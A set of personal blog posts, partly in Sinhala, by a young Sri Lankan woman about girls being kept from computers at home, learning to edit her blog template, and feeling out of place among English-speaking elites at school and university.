As a victim of your brilliantly developed pages, I have the right to point my finger towards the
criminals.

some simple questions;

--how many times have you chased away your sister from the computer?
--how many times have you deleted your sisters' documents just to take revenge for a silly thing?
--how many times have you hidden music and movie files so that the sister would spend less time in front of the computer?

and, how many of you have given user accounts with administrator rights to your sisters?

guys I know your answer.

But you alone are not the criminals.

Our culture itself limits a girl to the kitchen from birth to death. When parents buy toys for
children, they go for dolls for the girl and cars for the boys. In few days, the girl becomes an expert in raring children and the boy becomes an excellent car driver.

The story continues.

When the girl wants to touch the car, the boy wouldn't let her.

The car and the doll reside in the beds of the respective owners without even being touched by the other.

Time passes, a computer comes home and the same story continues.

Touching the computer is prohibited for the girl as she would "break it". Most of the times, this rule is imposed by the boys on girls.

It is true that everything is best learned by experience. Then why boys don't let the girls experience and learn? why don't they allow girls to do mistakes? why don't boys remember that it is the way they learned?

I have been fighting over this issue for ages with my brother and this is what he had to say as a conclusion.

"I make mistakes and i do learn. but when it comes to you, you do silly things ( for example, changing the modem settings to see how the performance changes with the settings and leaving it as if nothing happened. cz I m sure he will kill me, if he knew i had done that) but you do them at least twice to learn."

Yes, an average girl is not the techno type, she would be into more feminine things all the times. For example, just take Facebook. Girls would be talking of all the status messages of the hot guys in town and about the number of gifts she had received. But a boy would be speaking of the security in face book and he might compare Face book to Linked In.

Girls do not talk of security in Facebook because it is none of their business. they just want to keep in touch with friends and that is it. she doesn't have enough time to spend in front of the computer and she is not expected to. have you ever heard of a girl who is referred to by the parents as a child who is always sitting in front of the computer? (i bet no. but if you have heard, you are lucky)

You see it is obvious that girls take a lot of time to learn.

Now to the point of view of the boys. you might say that girls do not have the interest in computing cz they can get everything done by boy friend or brother.

you are correct.

Any way, im lucky to have to have a brother who comments about my modem usage in the blog and say in person that i myself have to find the ways to control it. I think that is what you should do. let her experience and learn but ,support her to do it.(although my brother is too stingy when it comes to support)

On the other hand,as chamila said in comments of my previous post, most of the ladies think they cannot work as well as men.(ගැහැනුන් තුල (75% and decreasing) ස්වාභාවයෙන්ම තියෙනවා හීනමානයක්.. මට පිරිමි තරම් වැඩ කරන්න බෑ තියලා...). this is one of the key reasons for girls to give the field of computing.

But there are exceptions too, do you konw that the head of the Computer Science Department in University of Moratua is a lady?


After all, here i am, trying to edit the blog template for a week to get a share this button at the end of all the posts.

Guys now you can laugh at me( for i know, in your eye,i m a girl who downloads you tube videos this way)



The reason is that i know only a little bit of html and java. But at least i know that there are many things to learn.

The lack of knowledge made me helpless (In fact, it also made me sick of the nice blogs) and sick of our culture which nourishes the stupid idea that the girls are for kitchen.

And one important point.

It is learning and experience with the support of my brother.

If he does not allow me to use the computer through out the day, I would be thinking that blogging is just about posting and adding widgets to the template.

So guys, one humble request, help your girls and sisters to experience. If you take the initiative, they can come out of the "cultural shell"

and girls, please do not fear, experience and feel the challenge


PS:: The blogs I have mentioned above are the ones that I really love.

----There is never jealousy where there is not strong regard--- Washington Irving

untitled

පුස්තකාල දෙකකින් ගත්ත පොත් 4කම කාලේ පැනල.ඒ උනාට පුස්තකාල පැත්තෙ යන්න හිතෙන්නෙ නෑ මේ බ්ලොග් වැඩේ නිසා. ඇදෙන් බිමට බහින්නේ මලයා ක්ලාස් යන්න ඔන්න මෙන්න තියල. මොකද එතකොටනේ මට කොම්පියුටරේට අත ගහන්න ලැබෙන්නෙ. අපෙ ගෙදර කොම්පියුටරේ දැන් පැය විසි හතරෙම වැඩ.මම දවස පුරාම ඉන්ටෙර්නෙට්. බ්ලොග් වැඩේට බැස්ස අයට නම් මේක සාමන්ය දෙයක්.

ලන්කාවෙ බ්ලොග් දිහා බලනකොට මට තෙරුන ගෑනු ලමයි වැඩිය බ්ලොග් ලියන්නෙ නැ කියලා.අනේ මම කාන්තා විමුක්තියට කතා කරනවා නෙවේ. ඒත් මේකට හේතුවක් තියෙන්න එපයැ. ඔයලා මොකද හිතන්නෙ?

Of blogging, debating, ragging and English

I seriously need to work with Sinhala Unicode. (try my web tutor) The reason is nothing but the mere feeling of outlandishness I experience when commenting on Sinhala Blogs in English. The valance of Sinhala Blogging in developing or diminishing the image if Sri Lanka in the web is a problem to be debated. However, it is nice to have at least a small portion of servers to store information that cannot be decoded other than by a Sri Lankan. if we have the resources, now we can even end up with something like Youkutube in Sinhala.

Now, some of the English Bloggers would say that Sinhala Blogging is just bullshit. Why waste server space for the use of a small number of people? The Chinese do it because China has the largest population in the world. The Indians do it because Tamil and Hindi and India are known through out the world.(This reminds me of a comment reply that i received in You Tube.)

And i have noticed a big difference between the English and Sinhala bloggers. Most of the English bloggers(I mean posting 100% in English) are equipped with good english and most of the popular bloggers are working in big companies. They are far superior to the sinhala bloggers who are mostly uni students, school goers and all the nitwits. (now, guys, i m new to this world and this is my first impression. if i am wrong, please forgive me.). Most of the Sinhala bloggers are fun type. but they are real Sri Lankans and you feel it when going through the blogs. For example, a Sinhala blogger would say"මම ඊයෙ හන්දියෙ කඩෙට ගියා පාන් බාගයක් ගන්න" and an English blogger would say the same thing like this" I went to the boutique yesterday to buy a loaf of bread"(pardon me,i don't know how to say පාන් බාගයක් in English). But හන්දියෙ කඩෙ is totally different from the "boutique in the junction". And consequently, the person who says හන්දියෙ කඩෙ is treated differently by the person who says "boutique".

It is a simple fact for the average Sri lankan. The fight and the discrimination is everywhere. School, University, Bus, market, Tuition Class and even the Bath Room..If you do not know the English Way of doing things, you are sure to end up using commode as the wash basin like BORAT (In fact, that had happened to me.. but yes, not literally)

In the school, i was in all this "English Socieities" . But my parents knew very little English. My mother once accompanied me to a debate to see how im doing my job although im sure she wouldnt have understood half of the things i said at the debate. But that is motherly love. Mothers love to see how well the children are doing. But that very "love" had made her left out in the audience. Apparently, the English had won the day. Love was a scrap. She was treated by the other parents as if she had drunken the waters of comed simply beacause she was not good at kadu fighting (English) and she did not fit in the "make up all over", "posh","wearing expensive clothing" society. When all the people are speaking in English, a non English speaker would keep the mouth shut. She did that too. The conclusion was that she was a misfit.

That was the first and the last time she accompanied me to a English drama, debate or to any place that i had to deal with English speaking crowd.

And hats off to you who guys did it. Now i know when to use English and when not to use it.

"Mother like daughetr" ---Darcy is correct (If im still ok with the loving memory of Pride and Prejudice). Im going through the same.

University Life is the latest. I did my A/L and got into the Uni to become a member of the Non-Ragging student community. As a Buddhist, im really happy that im not hurting others nor get hurt by others in the name of "orientation" or "Welcome" . I have the freedom from seniors to do what ever I want. I really appreciate that.

but,

when the freedom itself becomes a cage where my true self is tormented. It hurts.

I dont know how to speak, dress and eat like a daughter of the elite class but i was chosen to be among them. May be to watch and learn how to dance and speak English Fluently and practice the elite etiquette like they do. But Lord, God who ever you are , your decison dosent work for me. Still im a misfit, just like my mother.

I feel nervous when talking to the receptionist at ACHE (in English) because I Know Im sure to make a mess in front of every body. so I tend to speak with a low voice. Then they hear the simplest thing like "close the door" as "I wanna go to the toilet". I may be too timid and they might have also thought that I belong in the dust bin.

Yes, that is the place for all the (English speaking) girls with a parentage who does not know English,unshaven legs and hands, no expensive car and the no high society etiquette. People say that you have to learn English, but believe me, it is not enough, you have to be like one of them. Until then, you will be a misfit. Just like how English comments in a Sinhala blog would sound. Another important thing,"හෙට මට ශොපින් යන්න තියනවා මෙයා" is always laughed at(by the Godaya and accepted by the other group) and "හෙට මට කඩෙ යන්න තියනවා" is always accepted(by the Godaya and laughed at/ considered uncommon by the other group).

But

Im not broken.
Im happy and proud of me, myself and I
I will not change

And

I will grow with the people who accept me as this